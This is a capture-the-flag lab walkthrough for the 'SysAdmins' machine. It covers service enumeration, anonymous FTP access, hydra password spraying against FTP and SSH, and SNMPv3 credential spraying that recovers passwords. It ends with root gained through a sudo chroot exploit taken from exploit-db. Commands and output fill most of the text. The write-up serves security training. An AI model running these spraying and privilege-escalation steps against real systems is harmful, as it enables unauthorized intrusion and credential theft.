

SysAdmins

lab link: <https://www.hacksmarter.org/courses/050ba47e-b38f-4638-8dad-1cc54b987a5d/take>

Ports enumeration

rustscan:

```
rustscan -a 10.1.97.144 -g -- -Pn
10.1.97.144 -> [21,22,80]
```

nmap TCP:

```
sudo nmap -sTCV -Pn -open -T4 10.1.97.144 -p 21,22,80
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-30 15:44 -0400
Nmap scan report for 10.1.97.144
Host is up (0.028s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 10.0.0.247
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 3
|   vsFTPD 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--  1 0      0          742 Jul 13 12:39 data_breach_notification.txt
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e7:26:9a:a9:16:cb:fc:82:4b:dd:f9:85:60:86:70:8d (ECDSA)
|_  256 c8:ae:e8:56:7b:51:c5:49:8b:42:c0:dd:df:02:56:eb (ED25519)
80/tcp    open  http      nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Sysadmins - System Administration Services
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

nmap UDP:

```
sudo nmap -sU --top-port=60 --reason -open -T4 10.1.97.144
161/udp open snmp udp-response ttl 62
```

anonymous on FTP

We saw with "nmap" that "anonymous" connection is possible on FTP Port. so lets get that file.

```
└─$ ftp anonymous@10.1.97.144
Connected to 10.1.97.144.
220 (vsFTPd 3.0.5)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||7377|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 742 Jul 13 12:39 data_breach_notificat
ion.txt
226 Directory send OK.
ftp> get data_breach_notification.txt
local: data_breach_notification.txt remote: data_breach_notification.txt
229 Entering Extended Passive Mode (|||5327|)
150 Opening BINARY mode data connection for data_breach_notification.txt (742
bytes).
100% |*****| 742 2.64 MiB/s 00:00 ETA
226 Transfer complete.
742 bytes received in 00:00 (26.16 KiB/s)
ftp> exit
221 Goodbye.
```

We can deduct from it that a breach happened caused by web application vulnerability, a public "pastbin.com" page containing breached accounts and that the sysadmin lead name is "Peter".

```
$ cat data_breach_notification.txt
Hi team,

We are writing to inform you of a recent data breach that may have affected some of your information.

Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.

We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.

We'll continue to share updates through this channel.

Please do not hesitate to reach out to us if you have any questions.

Our team is working around the clock to deal with this situation, and we really appreciate your patience and understanding.

Kind regards,
Peter
Lead Sysadmin
```

Web enumeration

Using "feroxbuster" to enumerate paths:

```
feroxbuster --url http://10.1.97.144 -w ~/tools/wordlist/big2_ah9bf3.txt -C 404
```

I only found team member names. I created a list with them.

Not secure 10.1.97.144/team.html

SysAdmins Team

Meet the team

The engineers who keep your systems running 24/7.



waserby
Senior Monitoring Engineer



helena
Infrastructure Engineer



peter
Lead Sysadmin

SNMP service

In order to enumerate the version of the SNMP server, we can use "nmap" with "-sV" option.

```
sudo nmap -sU -p 161 -sV --reason --max-retries 3 --host-timeout 2m 10.1.97.144
```

```
└─$ sudo nmap -sU -p 161 -sV --reason --max-retries 3 --host-timeout 2m 10.1.97.144
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-30 16:15 -0400
Nmap scan report for 10.1.97.144
Host is up, received reset ttl 62 (0.028s latency).

PORT      STATE SERVICE REASON          VERSION
161/udp    open  snmp     udp-response ttl 62 net-snmp; net-snmp SNMPv3 server
```

unfortunately, we need valid credentials in "SNMP Walk" v3.

Never hurt to try. "snmpwalk" with "v1" or "v2c" is getting timed out.

```
└─$ snmpwalk -v2c -c public 10.1.97.144 1
Timeout: No Response from 10.1.97.144

(kali㉿kali)-[~/hacksmarter/SysAdmins]
└─$ snmpwalk -v1 -c public 10.1.97.144 1
Timeout: No Response from 10.1.97.144
```

Password spraying

We now have a username file created from team members names that we saw it the web page and a passwords list created from "pastbin.com" leaked information.

I used "hydra" on SSH and FTP but no hit.

```
└─$ hydra -L leak.txt -P leak.txt ftp://10.1.97.144
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-30 16:
34:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:100/
p:100), ~625 tries per task
[DATA] attacking ftp://10.1.97.144:21/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-30 16:
35:23
```

```

$ hydra -L users.txt -P users.txt ssh://10.1.97.144
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-30 16:
08:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is r
ecommended to reduce the tasks: use -t 4
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1
try per task
[DATA] attacking ssh://10.1.97.144:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-30 16:
08:17

```

The third option is to spray the SNMPv3 service.

```

SNMPv3-Spray/snmprv3-spray.sh -U users.txt -P leak.txt -t 10.1.97.144

```

```

$ SNMPv3-Spray/snmprv3-spray.sh -U users.txt -P leak.txt -t 10.1.97.144
[*] Target: 10.1.97.144
[*] Levels: noAuthNoPriv authNoPriv authPriv
[*] Users: 3 Passwords: 100 (68 usable, min 8 chars)
[*] Auth protocols: MD5 SHA SHA-224 SHA-256 SHA-384 SHA-512
[*] Priv protocols: DES AES AES-192 AES-256
[*] Total attempts: 6123

```

And it did find a valid password

```

[?] Possible password found: butterfly (level=authNoPriv, auth=MD5, priv=) --
Try:
    snmpwalk -v3 -u waserby -l authNoPriv -A [REDACTED] -a MD5 10.1.97.144

... 5200/6123 attempts, 08:07 elapsed
[?] Possible password found: butterfly (level=authPriv, auth=MD5, priv=DES) -
- Try:
    snmpwalk -v3 -u waserby -l authPriv -A [REDACTED] -a MD5 -X butterfly -x
DES 10.1.97.144

```

Now we can use "snmpwalk" as suggested by the command. I find "helena" password in a "sshpas" command line.

```

iso.3.6.1.2.1.25.4.2.1.5.7505 = STRING: "-c sshpass -p 'P[REDACTED]' ssh helena@sysadmins; sleep 60"

```

Local PrivEsc.

After connection to SSH using "helena" credentials, we can find out that it's the only user on this machine.

```

helena@sysadmins:/home$ cat /etc/passwd | grep -i "/bin/bash"
root:x:0:0:root:/root:/bin/bash
helena:x:1000:1000:helena:/home/helena:/bin/bash

```


through manual enumeration, we detect the version of "sudo" which is vulnerable (CVE-2025-32463).

```
helena@sysadmins:~/home$ sudo --version
Sudo version 1.9.16p2
```

With "searchsploit", we can find an exploit to elevate our privileges locally (EDB-ID: 52352).

```
$ searchsploit sudo 1.9
```

Exploit Title	Path
sudo 1.8.0 to 1.9.12p1 - Privilege Escalation	linux/local/51217.sh
Sudo 1.9.17 Host Option - Elevation of Privilege	linux/local/52354.txt
Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)	multiple/local/49521.py
Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2)	multiple/local/49522.c
Sudo chroot 1.9.17 - Local Privilege Escalation	linux/local/52352.txt

So I copied the bash script to the target machine, executed it and WE ARE ROOT!

```
helena@sysadmins:~$ vi exploit.sh
helena@sysadmins:~$ chmod +x exploit.sh
helena@sysadmins:~$ ./exploit.sh
[*] Running exploit<E2><80><A6>
root@sysadmins:/# id
uid=0(root) gid=0(root) groups=0(root),1000(helena)
```

Happy Hunting!

references:

<https://github.com/tmm35/SNMPv3-Spray>

<https://www.exploit-db.com/exploits/52352>